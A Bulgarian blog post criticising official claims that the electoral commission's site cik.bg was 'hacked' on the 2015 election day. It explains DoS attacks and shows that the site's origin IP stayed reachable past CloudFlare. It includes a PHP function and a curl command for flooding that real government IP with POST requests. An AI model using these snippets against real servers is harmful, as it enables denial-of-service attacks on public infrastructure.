Не веднъж съм слушал невероятни глупости по националните телевизии, когато става въпрос за софтуерни технологии, но в деня на изборите - 25 октомври това преля чашата. Страшното в случая е, че простотиите излязоха от устата на „проф.“ Мишо Константинов – бивш зам. Председател на ЦИК . Ако тия глупости ги беше наговорил някой филолог, някак си щеше да мине незабелязано, но в случая въпросния Мишо е „професор“ по математика, както и леко-прикрит русофил и откровен американомразец.
Цитирам какво беше казано и изложено на сайта на НОВА.
http://novanews.novatv.bg/news/.../
„Това се случи в изборния ден и със сървъра, който обслужва сайта на ЦИК. За 10 часа заявките към машината бяха около 540 милиона. Или все едно в даден момент 540 милиона души да се опитат да разгледат сайта.
„От САЩ, Турция, Китай - целият свят ни атакуваше в този момент. Интензивността достигна до 15 хиляди хаквания в секунда, и то такива, които пробиха защитата”, каза проф. Михаил Константинов, председател на СД в „Информационно обслужване” АД. “
Веднъж се казва,че за 10 часа заявките към сървъра са били 540 милиона, а после, че в даден момент са били 540 милиона.
Тук искам да отбележа, че Мишо говори за ХАКВАНИЯ. Значи когато посещаваме някой сайт, според математика се опитваме да го хакваме. Когато ми кажат хакване, аз разбирам пробив в сигурността на дадена система, за което НЕ СА НУЖНИ 15 хиляди заявки в секунда. От простотиите изговорени по НОВА става ясно, че са имали предвид вероятно DoS или по-лошия вариант – DDoS атаки. За по-любознателните в долния линк е обяснено какво представляват тия атаки и как могат да бъдат предотвратени, което НЕ Е направено и вместо това е взето друго решение. Какво е то ще разберете по-надолу в текста.
https://en.wikipedia.org/wiki/Denial-of-service_attack
Тъй като нищо от последните избори не беше нормално – лудостите на Волен Сидеров (случили се след края на изборния ден), после „атентата“ срещу Алексей Петров с учебни гранати, реших да си направя труда да видя какви „мерки“ са предприети срещу така наречените „хакери“.
Първото което направих е да установя към кое IP сочат DNS записите cik.bg, както и историята на DNSа на домейна cik.bg. Ето ги:
CloudFlare, Inc. 104.20.28.59 Linux cloudflare-nginx 2-Nov-2015 CloudFlare, Inc. 104.20.29.59 Linux cloudflare-nginx 1-Nov-2015 CloudFlare, Inc. 104.20.28.59 Linux cloudflare-nginx 30-Oct-2015 CloudFlare, Inc. 104.20.29.59 Linux cloudflare-nginx 28-Oct-2015 CloudFlare, Inc. 104.20.28.59 Linux cloudflare-nginx 27-Oct-2015 CloudFlare, Inc. 104.20.6.251 Linux cloudflare-nginx 25-Oct-2015 Information Services PLC 217.145.160.45 Linux Apache 11-Jul-2011
От тук става ясно, че на 25 октомври, 2015 в деня на изборите DNS записа на cik.bg е насочен към CloudFlare. По долу ще обясня какво е CloudFlare за тези които не знаят.
После реших да проверя, дали сървъра на ЦИК е достъпен през неговото IP - 217.145.160.45 .
За целта сложих следните записи в локалния DNS:
217.145.160.45 results.cik.bg
217.145.160.45 cik.bg
217.145.160.45 www.cik.bg
За windows %SystemRoot%\System32\drivers\etc\hosts,
За linux /etc/hosts.
И о чудо: сайта е достъпен за всички?(оказа се впоследствие, че само за българи) през IPто на сървъра на ЦИК. Първоначално се замислих как е възможно да се направи подобна глупост. Все пак говорим за хакери, не говорим за Бойко Борисов. На всичкото отгоре CloudeFlare са дали диапазона на техните IPта тук :
https://www.cloudflare.com/ips/
Това е все едно да дойде зима, да си купиш зимни гуми, да им сложиш вериги, но да продължиш да си караш с летните гуми.
ПРИМЕРНО за да се направи такава атака може да бъде използвано нещо такова на PHP:
function curl_post_async($url, $params = array()) { foreach ($params as $key => &$val) { if (is_array($val)) $val = implode(',', $val); $post_params[] = $key.'='.urlencode($val); } $post_string = implode('&', $post_params); $parts=parse_url($url); $fp = fsockopen("217.145.160.45", isset($parts['port'])?$parts['port']:80, $errno, $errstr, 30); $out = "POST ".$parts['path']." HTTP/1.1\r\n"; $out.= "Host: ".$parts['host']."\r\n"; $out.= "Content-Type: application/x-www-form-urlencoded\r\n"; $out.= "Content-Length: ".strlen($post_string)."\r\n"; $out.= "Connection: Close\r\n\r\n"; if (isset($post_string)) $out.= $post_string; fwrite($fp, $out); fclose($fp); }
или примерно може да бъде използван cURL:
curl --data "param1=value1¶m2=value2" –H “Host:results.cik.bg” –m 1 http:// 217.145.160.45
Идеята е да се изпрати POST request след което веднага да се затвори сокета без да се изчака отговора на сървъра. При POST заявките, обикновено сайтовете или прокситата не кешират отговорите.
Когато се изпратят примерно над 1000 подобни заявки наведнъж, сървъра трябва да отговори на нелегитимните заявки, като последващите легитимни трябва да чакат или таймаутват. Ето типична конфигурация на worker на Апаче сървър:
ServerLimit 16 StartServers 2 MaxClients 150 MinSpareThreads 25 MaxSpareThreads 75 ThreadsPerChild 25
Горе описаните атаки са съвсем елементарни, при които заявките следват протокола и могат да бъдат изпълнени от не много напреднали програмисти, при услови че имат достъп до компрометирани машини – така наречените botnet или достъп до достатъчен брой сървъри за да може това да бъде Distributed DoS attack. Има други много по сложни атаки от тоя вид, при които не се следва протокола и се възползват от лоша конфигурация на сървърите, като те се пишат на езици от ниско ниво като C.
Родните „програмисти“ са овладели атаките (както се изразява Мишо), като са се възползвали от услугите на CloudFlare. Ако cik.bg не беше правителствен сайт, може би нямаше да има проблем, но това е все едно правителствения сайт http://www.state.gov/ да ползва proxy сървъри на българска софтуерна компания с президент Николай Банев. Не искам да обидя собствениците на CloudeFlare, защото те със сигурност не са с умствения капацитет на Банев, но в България подобни личности основават софтуерни компании и печелят (основно такива) държавни поръки. За сравнени преди по-малко от година Хилари Клинтън беше разпъната на кръст, защото като държавен секретар е използвала лични мейл сървъри вместо правителствените.
CloudFlare представлява reverse proxy, което седи между вас и сайта на ЦИК. Когато отворите браузъра си и влезете в сайта на ЦИК, заявката първо минава през сървърите на CloudFlare и после стига до сървъра на ЦИК. Отговора на сървъра минава обратно по същия път. Така cik.bg се предпазва от подобни атаки.
Впоследствие направих тестове и се оказа, че сайта може да се достъпва директно само от български IPта.
Вместо да си настроят добре сървърите и да се възползват от готови Апаче модули като примерно mod_qos, mod_evasive и т.н. , родните специалисти за да „овладеят“ ситуацията са направили следното:
1. Взели са диапазоните на всички български IPта от примерно такъв сайт:
http://www.ip2location.com/blockvisitorsbycountry.aspx , след което са използвали iptables (linux firewall) rules за да позволят заявки само от български IPта. (5 мин работа).
2. Тъй като сайта е бил недостъпен за чужди IPта са решили да прехвърлят DNS записа на CloudFlare , като вероятно са използвали безплатния план. (5 мин работа)
https://www.cloudflare.com/plans/
Преди време премиера-слънце беше казал, че програмистите у нас печелели по 4 000 евро на месец и предпочитали да си стоят в България вместо да ходели в западна Европа, където трябвало да плащат наеми (преди това пък им даваше съвети да стават овчари). За ваше сведение мога да кажа, че имам приятел - сравнително добър програмист, който пише на (embedded) C и работи за „Дейзи Технолоджи“ за 1500 лв. на месец чисто. В нормалния свят програмисти пишещи код на C за embedded devices, заплатите им започват от 50 000 евро годишно.
Друга лудост на която бях попаднал преди време беше един JavaScript на иначе уважавания от мен сайт от журналистична гледна точка dnevnik.bg , където жената на президента Плевнелиев до колкото знам е шеф на ИТ отдела. Целта на този скрипт явно е целяла да защити сайта от бот спамери, но вместо това го защитава от посетителите на сайта :) . Има още много такива примери в България за които мога да разкажа, но тогава от това ще излезе цял роман – нали българските IT специалисти са едни от най – добрите в света, но се питам дали някой го знае това нещо извън България? Със заплати от 1500 лв. на месец и шефове от сорта на Николай Банев, със сигурност родните софтуерни специалисти са едни от най-добрите в света!
P.S. Следващата статия ще бъде на тема как преди няколко седмици до мен достигна информация (за която нямам представа има ли нещо вярно, но звучи достоверно), че в България се манипулират статистиките на Google по руски тертип, като в това участват родните интернет доставчици.
Коментар